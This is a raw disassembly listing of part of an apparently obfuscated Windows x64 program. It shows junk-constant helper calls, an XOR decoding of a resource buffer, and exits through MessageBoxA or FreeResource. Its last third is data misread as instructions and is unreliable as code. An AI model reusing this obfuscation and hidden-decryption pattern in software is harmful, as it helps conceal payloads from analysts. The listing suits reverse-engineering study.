mov rdx, r15
call fcn.140006b10
mov ecx, 0xff
mov rdx, r15
call fcn.140006b10
mov ecx, 0x1567
mov edx, 0x7c
mov r8d, 0xff
call fcn.140006b10
movabs rcx, 0x19ed501f3c750448
mov rdx, r15
call fcn.140006b10
add rsp, 0x20
movzx r12d, bl
sub rsp, 0x20
mov ecx, 0x1c
mov r9d, 0xda
mov rdx, r15
mov r8, r15
call fcn.140006b10
mov ecx, 0xff
mov rdx, r15
call fcn.140006b10
mov ecx, 0xf779
mov edx, 0x359828
mov r8d, 0xc9
call fcn.140006b10
mov ecx, 0x4f
mov r9d, 0x66
mov rdx, r15
mov r8, r15
call fcn.140006b10
mov ecx, 0xff
call fcn.140006b10
mov ecx, 0x45f7
mov rdx, r15
mov r8, r15
call fcn.140006b10
mov r8d, 0x73
movabs rcx, 0xe612afe0c38afbb9
mov rdx, r15
call fcn.140006b10
mov ecx, 1
mov rdx, r15
mov r8, r15
call fcn.140006b10
add rsp, 0x20
mov r13, rax
add r13, r14
mov r14, qword [rbp + 0x120]
sub rsp, 0x20
mov ecx, 0xf1
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
or esi, edi
sub rsp, 0x20
mov ecx, 0xff
mov rdx, r15
mov r8, r15
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
and ebx, esi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0x34bb
mov rdx, r15
mov r8, r15
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
imul edi, ebx
sub rsp, 0x20
mov ecx, 0xfc
mov rdx, r15
mov r8, r15
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
or esi, r12d
sub rsp, 0x20
mov ecx, 0xff
mov edx, 0xe9
mov r8, r15
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
and ebx, esi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0x795d
mov rdx, r15
call fcn.140006b10
add rsp, 0x20
imul eax, ebx
xor ebx, ebx
cmp edi, eax
sete bl
sub rsp, 0x20
movabs rdi, 0x6495e21eec53ad71
mov rcx, rdi
mov rdx, r15
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsi, rbx
sub rsp, 0x20
mov ecx, 1
mov edx, 0xdb
call fcn.140006b10
add rsp, 0x20
lea rcx, [rdi + 2]
sub rsp, 0x20
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
add rbx, rdi
xor rbx, rsi
mov rsi, qword [rbp + 0x158]
add rbx, qword [rbp + 0x138]
sub rsp, 0x20
mov ecx, 0x56
mov edx, 0x6c
mov r9d, 0x96
mov r8, r15
call fcn.140006b10
mov ecx, 0xff
mov edx, 0x39
mov r8d, 0x1b
call fcn.140006b10
mov ecx, 0x616f
mov r8d, 0xf5
mov rdx, r15
call fcn.140006b10
mov ecx, 0x8b
call fcn.140006b10
mov ecx, 0xff
mov edx, 0xd
call fcn.140006b10
mov ecx, 0xbbcf
mov rdx, r15
call fcn.140006b10
movabs rcx, 0x5a006f8d7edfbf11
mov rdx, r15
call fcn.140006b10
mov ecx, 0xffffffff
mov rdx, r15
call fcn.140006b10
mov ecx, 0xffffffff
call fcn.140006b10
mov ecx, 0xfffffffd
mov edx, 0x9d
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0x2f81b7
mov r8, r15
call fcn.140006b10
mov ecx, 2
mov edx, 0xd1
mov r8, r15
call fcn.140006b10
movabs rcx, 0xa5ff9072812040f1
call fcn.140006b10
mov edx, 0xf49a7a
mov r8d, 0xc9
mov r9d, 0x87
xor ecx, ecx
call fcn.140006b10
mov ecx, 2
mov edx, 0xf4
mov r8d, 0x6d
call fcn.140006b10
add rsp, 0x20
add rax, r15
mov rcx, qword [rbp + 0xe8]
cmp rax, qword [rcx]
mov qword [rbp + 0x90], r13
mov qword [r14], rbx
mov qword [rbp + 0x98], rax
mov qword [rbp + 0xa0], r13
mov qword [rbp + 0xa8], rbx
jne 0x14000c420
mov rax, qword [rbp + 0xa8]
mov qword [rbp + 0x140], rax
mov rax, qword [rbp + 0x140]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x60], rax
mov rax, qword [rbp + 0x60]
mov rcx, qword [rbp + 0xf0]
mov qword [rcx], rax
mov rsi, qword [rbp + 0x50]
mov rax, qword [rbp + 0x140]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x8b
mov r8d, 0xa4
call fcn.140006b10
add rsp, 0x20
mov r8, qword [rbp + 0x140]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x14
call fcn.140006b10
add rsp, 0x20
mov rdx, qword [rbp + 0x140]
sub rsp, 0x20
mov ecx, 0xfffffffd
call fcn.140006b10
add rsp, 0x20
mov r8, qword [rbp + 0x140]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xd6
call fcn.140006b10
add rsp, 0x20
mov rdx, qword [rbp + 0x140]
sub rsp, 0x20
mov ecx, 2
call fcn.140006b10
add rsp, 0x20
mov r9, qword [rbp + 0x140]
sub rsp, 0x20
mov edx, 0x86
mov r8d, 0x84
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
mov rcx, qword [rbp + 0x118]
mov qword [rbp + 0xf8], rcx
cmp rsi, rax
je 0x14000ccf5
mov rsi, qword [rbp + 0xd8]
mov rcx, qword [rbp + 0xf0]
mov rax, qword [rcx]
cmp rax, rsi
mov rbx, qword [rbp + 0x158]
jae 0x14000cc7a
mov rdi, qword [rcx]
jmp 0x14000cc7c
sub rsp, 0x20
mov edx, 0xeb
mov r8d, 0xfc
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
lea rdx, [0x140014061]
xor ecx, ecx
xor r8d, r8d
mov r9d, eax
lea rsp, [rbp + 0x188]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp qword [sym.imp.USER32.dll_MessageBoxA]
xor edi, edi
mov rax, qword [rbp + 0x140]
mov rax, qword [rbp + 0x60]
sub rsp, 0x20
mov ecx, 0xffffffff
mov rdx, rsi
call fcn.140006b10
mov ecx, 0xfffffffd
mov r8d, 0x6b
mov r9d, 0x42
mov rdx, rsi
call fcn.140006b10
mov ecx, 0xffffffff
mov rdx, rsi
call fcn.140006b10
mov ecx, 2
mov rdx, rsi
call fcn.140006b10
add rsp, 0x20
mov rax, qword [rbp + 0x118]
mov rcx, qword [rbp + 0x48]
movzx edx, byte [rax + rcx]
mov rbx, qword [rbx]
xor dl, byte [rbx + rdi]
mov byte [rax + rcx], dl
mov rax, qword [rbp + 0x118]
mov qword [rbp + 0xf8], rax
mov rcx, qword [rbp + 0xf8]
sub rsp, 0x20
lea rdx, str.rq6uva6nr72xr7O9rrCwqbOvpqaf
call fcn.140001000
add rsp, 0x20
mov rax, qword [rbp + 0xb0]
mov rcx, qword [rax]
lea rsp, [rbp + 0x188]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp qword [sym.imp.KERNEL32.dll_FreeResource]
jne 0x140028675
or al, 0x2b
invalid
fisub dword [rdx + rbp*2 + 0x48]
test al, 0x16
invalid
sub esi, dword [rbx + rsi*2 - 0x47]
hlt
jns str.uj_f
mov ecx, 0x4da853dd
xchg ebp, eax
jnp 0x14002861c
int1
test ecx, 0xb879f5ff
mov eax, 0x1a8b7db9
cli
mov eax, 0x1a8b7db9
cli
adc ebp, ebp
or eax, 0xbf5edd10
invalid
jp case.0x14000cd2d.8
ret
stc
invalid
or dword [rdx - 0x6e587f51], ebx
and esi, 0xfffffff6
mov al, 0xbb
xor al, 0xdb
invalid
scasd eax, dword [rdi]
and byte [rdi - 0x9197c6f], 0xb0
mov ebx, 0xfac7db34
test eax, 0x795f1353
pop rdi
jns 0x140028709
loope 0x140028721
pop rsi
pop rdi
jns 0x140028709
loope 0x140028721
pop rsi
sahf
loopne 0x1400286c6
invalid
sbb dword [rsi], ebx
mov dl, 0xc5
cmp byte [r14], r9b
invalid
add eax, 0x80d108b9
test ecx, edx
invalid
stosb byte [rdi], al
mov cs, word [rax + rbp*2 + 0x188a4909]
lea edi, [rax + rax]
rol byte [rdx], 0x92
nop
xor rsi, r13
xor esi, ebp
xor esi, ebp
mov edx, ebp
invalid
sub esi, dword [rbp + 0xb9162d4]
retf 0x8538
invalid
invalid
invalid
mov edi, 0x5c0f87ff
jo 0x14002872b
je 0x1400286e4
mov edx, 0x4d00f6ae
invalid
test byte [rax], 0x4d
invalid
sub eax, 0x86585d53
rcl byte [rcx], cl
out dx, al
pop rbp
pop rax
xchg dl, dl
adc esi, ebp
lodsb al, byte [rsi]
sbb byte [rsi - 0x42], bl
std
movsd dword [rdi], dword [rsi]
xchg edi, eax
loope 0x140028753
jmp rdi
in eax, dx
invalid
clc
sbb eax, 0x498038e4
movsb byte [rdi], byte [rsi]
add byte [rsi + 0x639ea3fb], cl
invalid
cmp eax, 0x466a48df
in al, dx
fisttp word [rax + 0x6a]
in al, dx
fdiv st(0)
invalid
xor dl, byte [rax]
retf 0xa280
scasb al, byte [rdi]
ja 0x140028828
jne 0x1400287fb
jp 0x14002880a
hlt
int1
jge 0x140028795
ret 0x5dcd
pop rbp
invalid
sbb byte [rax], ch
movabs eax, dword [0x20a004aaefe5f748]
std
invalid
test eax, 0x103ac63d
cmpsb byte [rsi], byte [rdi]
invalid
je 0x14002884c
add ch, byte [rdi]
add eax, 0xa5eeef7c
add bl, bh
invalid
xor r13b, byte [rcx*8 + 0x7dc74933]
hlt
invalid
ret
xchg esp, eax
xchg ebp, eax
rcl byte [rax + 0x2c]
push rax
sub al, 5
int1
jno 0x14002892a
iretd
invalid
push rax
sub al, 5
int1
jno 0x14002892a
iretd
outsd dx, dword [rsi]
jge 0x1400288b8
loop str.T_
hlt
invalid